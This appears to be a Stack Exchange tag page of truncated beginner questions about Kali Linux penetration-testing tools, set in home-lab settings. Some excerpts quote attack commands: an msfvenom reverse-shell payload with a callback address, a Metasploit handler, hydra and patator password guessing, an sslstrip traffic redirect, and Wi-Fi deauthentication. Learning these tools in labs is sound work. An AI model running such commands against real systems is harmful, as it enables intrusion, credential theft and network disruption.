Questions tagged [kali-linux]

Offensive Security's penetration testing Linux distribution.

Filter by
Sorted by
Tagged with
0
votes
1answer
23 views

PostgreSQL exploit not loading in MSFConsole from ExploitDB

Just trying to get a postgreSQL exploit (32847.txt - Low Cost Function ) from exploitdb to run in msfconsole. After pulling my hair out trying to figure out why it isn't loading, here I am. I'm using ...
0
votes
0answers
23 views

SQLsus injections failed

I’m trying to inject a website using sqlsus tool on Kali, but i keep getting a failure message, I’ve changed the website I’m testing even though I’m sure it’s vulnerable, but still a failure message. ...
1
vote
0answers
47 views

Problem while using Reaver WPS

I was trying to crack my WiFi Router. I have two laptops an older one(Lenevo 3000 G430) and a newer one(HP Elitebook 840 G3) with their internal adapter. The old one has BCM4312 802.11b/g chipset and ...
0
votes
3answers
89 views

How can Avast detect threats when I install Kali on VirtualBox?

I was installing Kali on VirtualBox on a W7 host, and during the upgrading/installation, Avast detected two threats in the Mimikatz package. My question is, how can Avast "see" through the VM? Is he ...
0
votes
0answers
28 views

how to create a wordlist contains first 4 letters are alphabets and next 4 letters numbers [closed]

how to create a wordlist contains first 4 are letters alphabets and next 4 letters numbers. Ex: AAAA0000 - ZZZZ9999
0
votes
0answers
16 views

Can I install Metasploitable 2 on a machine other than the one running Kali Linux? [migrated]

I use a kind of POTATO LAPTOP with highly limited resources so when I installed Kali Linux I simply ruled out the idea of using a Virtual Machine (running an OS on an OS is resource-heavy, isnt it?). ...
-1
votes
0answers
31 views

How to select the best tools of each Kali tools category? [closed]

There are dozens of kali tools list, every category have dozens specific tools. so, it's hard to study all tools because many tools have the repetitive functions, and variable ability. So, is ...
0
votes
0answers
34 views

Hashcat and naive-hashcat Kali Linux CPU/GPU driver issue [migrated]

I am trying to run hashcat and naive-hashcat in Kali linux, but I am having problems with cpu/gpu divers. If I run hashcat i get this error: Device #1: Not a native Intel OpenCL runtime. Expect ...
0
votes
1answer
42 views

Using Patator ssh_login module how can I get the output to show only on success

I have the following command: patator ssh_login host=<ip> port=<port> user=<user> password=FILE0 0=<path to pwdlist> I would like to output the success result only and not ...
1
vote
1answer
63 views

802.11 data frames missing from Wireless frames capturing

By working on the Wireless QoS (WMM/802.11e), I captured with airmon-ng and airodump-ng on Kali Linux, the 802.11 raw wireless frames, on my BSSID and channel. I generate some traffic from my ...
0
votes
2answers
143 views

Nmap with snmp-brute script freezes at 33.33%

I'm currently undergoing a penetration testing course where I discover the basics and I have a task where I need to perform SNMP enumeration on a target. My working environment is as follows : Host : ...
0
votes
0answers
64 views

Generate every alphanumerical combination in crunch within 8-20 characters in length

I want to generate combinations in sequential range of the length 8-20 with the following characters: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()~`";.,/[]-= How ...
1
vote
0answers
78 views

How should I install Kali Linux on my Windows 10?

I'm using Windows 10. I found several ways to install Kali Linux on Win10: Install it on VMWare Install it on Docker Install it on Linux subsystem (WSL) I might need to access some files in my ...
0
votes
0answers
59 views

Aireplay-ng works fine from command line but can't deauth from inside Fern Wifi Cracker

I have Kali Linux 2019.4 ARM-64 installed on a Raspberry Pi 3B. I have installed the Fern Wifi Cracker software. When I launch the "Wifi Attack" from inside Fern, I can see Aireplay-ng sending Deauth ...
0
votes
1answer
55 views

Monitor mode not sniffing from other devices on the same network

i'm currently running a 802.11n adapter in monitor mode on a kali linux PC. Monitor mode was enabled using airmon-ng. On the same network as the kali linux PC are 2 raspberry pi devices. Pinging from ...
0
votes
0answers
89 views

Kaspersky TS blocking apt-get upgrade and marking files as HEUR:Trojan.Script.Generic

I have just recently downloaded kali linux onto my VM software and i was doing apt-get upgrade in terminal and some files got blocked by my kts and i was wondering whether it was a false positive as ...
-1
votes
1answer
148 views

Kali Linux Firewalls and Endpoint security [closed]

I was asked to explain why Kali Linux does not have any firewalls or endpoint security. I would appreciate any help as I am a complete beginner to Kali Linux.
2
votes
1answer
158 views

why my Metasploit folder does not have wordlists folder (usr/share/)?

I am trying to use msf word-lists but I just noticed in usr/share/metasploit-framework there are only two folders lib and config. I am not sure how that happened but my msf is updated. Is there any ...
0
votes
0answers
38 views

Aireplay-ng doesnt get ACKs

I use the panda pau09 wireless adapter with a kali vm. I am attempting to deaauth my laptop off my home wifi. My last theory was that for some reason i wasn't able to deauth on 5Ghz band but after ...
0
votes
0answers
200 views

Aireplay-ng deauth has no effect

I am trying to deauth my laptop which is connected to my home wifi. aireplay-ng has no effect on my laptop. The commands I used are in order airmon-ng start wlan0 then after getting the mac address ...
0
votes
1answer
87 views

Extract data from burp response and use in another request

I have a scenario where I need to call /api/login to get a token and then use said token in subsequent calls until it expires. Is there a way to automate the call and token extraction and then to ...
0
votes
0answers
263 views

aireplay-ng --fakeauth issue with deauth packet

I am new to Kali Linux and I want to check if ethical hacking and pentesting is my cup of tea. I'm trying to associate my wireless adapter with an AP via aireplay-ng --fakeauth, but every time I use ...
0
votes
0answers
16 views

Is it possible to launch man in the middle attacks on ip addresses connected to a different network than the attacker's ip? [duplicate]

As the question stated, I am just wondering if there is a way to do this, perhaps using python or kali linux. I am trying to attack my raspberry pi that is on a different network than my pc (I have ...
0
votes
1answer
111 views

How Dirbuster find the files within a directory? (Differentiating between files and directories) [closed]

I am writing the python code of DIRBUSTER tool in kali linux but I got stuck at finding files that lies within directories. So my question is how can I differentiate between Files and Directories ...
1
vote
0answers
263 views

Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi

I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM. ...
1
vote
0answers
74 views

Hydra gives different password each time (DVWA)

I've looked up this issue and everyone's problem was they didn't have the failed login string. I do. Trying to get into DVWA. Here's my command hydra 10.0.250.143 -l admin -P P.txt http-get-form "/...
1
vote
1answer
136 views

SSH Timed out problem [closed]

I can't connect to my kali linux ssh server running in Virtualbox through puTTY. I didn't make any changes to /etc/ssh/sshd_config file, besides Port and PermitRootLogin That's how i booted up my ssh ...
0
votes
0answers
362 views

arp spoofing - arpspoof vs ettercap

I would like to perform a MiTM attack on my LAN and redirect all the traffic transmitted to my gateway. I've got the goal using arpspoof tool of Kali but I am not able to do the same thing using ...
2
votes
0answers
133 views

Deauthentication attack failure

Presently I am trying (and failing) to successfully execute a deauthentication attack using Kali Linux. The process I'm using is: airodump-ng --bssid MAC address here --channel channel # here --write ...
0
votes
0answers
49 views

What's the proper way to identify string values in hydra http post form

I've seen plenty of posts regarding the syntax for setting http post form's when using hydra and all of them just show username and password as being the only two keys when making a login post request....
0
votes
0answers
504 views

Problems relaying NTLMv2 with Responder and MultiRelay

I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup: Kali Box: IP: 192.168.1.13 ...
0
votes
0answers
194 views

Executable reverse shell payload won't execute on linux machine

Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; So after ...
0
votes
1answer
295 views

Limiting the number of duplicate character types in crunch

I'm trying to generate a password list of 10 character passwords containing only a combination of 3 - 6 numbers and 3 - 6 uppercase letters. I see option -d which allows a set limit of duplicates of ...
0
votes
0answers
168 views

Airodump-ng stops working after deauthentication attack

I'm using aircrack-ng on a pi to deauth a client that's connected to my wireless network. I run aireplay-ng and the attack succeeds but now airodump-ng wlan0mon stops returning any bssid, beacons... ...
0
votes
1answer
548 views

Wireshark - How to see the domain of HTTPS websites visited

How can I see the domain name of https websites that are visited on my network? I know I'm not able to see the full url, just the websites ip or domain. I think it my be possible with a reverse dns ...
0
votes
0answers
1k views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
-4
votes
1answer
81 views

I just can't use social engeneering tool in kali [closed]

I'm doing an information security course, but one the main tools isn't working, I can't learn how to clone a site like this, look... It keeps asking me to copy all the content inside www directory to ...
1
vote
0answers
590 views

aircrack-ng issue: No mon0 when run “airmon-ng start wlan0” and “No such BSSID available”

I have read many threads on StackExchange and some other blogs but none helped me. The issue is with aircrack-ng on Kali Linux. It gives me error No such BSSID available when I run aireply-ng. I think ...
0
votes
1answer
322 views

mitmf doesn't work when disabled ip forward

I have virtual machine windows connected to NAT network. I also have kali linux virtual machine connected to same NAT network. I have port forwarding disabled. cat /proc/sys/net/ipv4/ip_forward gives ...
1
vote
2answers
1k views

Reverse shell refusing/difficulties to establish connection

I've been trying to reverse shell between different devices, however, I'm never able to establish a connection or get a shell prompt . Let's say I have a Mac OSX as victim and use a raspberry Pi ...
-1
votes
1answer
292 views

wpscan is not show the real version

When I scan WordPress site with wpscan I see in the results that I have version 2.10.3 in WP Rocket Title: WP Rocket <= 2.10.3 - Local File Inclusion (LFI) | Fixed in: 2.10.4 But I when I ...
-1
votes
1answer
1k views

How to switch from Ubuntu 18.04 to kali linux? [closed]

I am using now ubuntu 18.04.1 and i wanna make dual boot with kali linux. How to do that?
1
vote
0answers
241 views

How can I get MITM attack using sslstrip to work?

I performed the following steps: I modified iptables to forward to another port: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000 I allowed port forwarding: ...
1
vote
1answer
374 views

DNS Hijack: Only spoofing sites listed in etter.dns

I'm trying to create a more practical DNS Hijack mitm attack. I do the traditional arp poison with dns_spoof method. I don't have any issues getting it to work. The intended domain redirects exactly ...
0
votes
2answers
4k views

MITM using ARP spoofing with Kali Linux running on VirtualBox with bridged wifi network adapter

At home I have two laptops (running on Windows). With one laptop (attacking laptop) I try to get in the middle of the connection of other laptop (victim laptop). To do this is run Kali Linux in a ...
0
votes
1answer
1k views

SEToolkit Not Cloning Login Page

I am trying to clone a login page with SEToolkit in the latest version of Kali Linux. SEToolkit simply isn't working. I have tried running it with normal user privileges and sudo. I have placed in ...
0
votes
2answers
5k views

I couldn't deauth any devices using aireplay-ng command in kali linux

I am using Kali linux. I've updated all tools and services by apt-get update and apt-get upgrade. I was using aircrack-ng for pentesting my wlan network. I wanted to deauth any device connected to my ...
2
votes
1answer
352 views

Can't log in dvwa with a simple python program, even though login credentials are good

import requests target_url = "http://127.0.0.1/dvwa/login.php" data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"} ...
1
vote
0answers
462 views

Bettercap/ettercap unable to detect HTTP packets

Basically, I am trying to sniff the network traffic from my other computer. So here's the situation: I am in a network, where: 192.168.1.1 - default gateway 192.168.1.24 - "victim" (my other ...
3
votes
1answer
16k views

Username and password files in Kali [duplicate]

I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23. I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...

1
2 3 4 5
7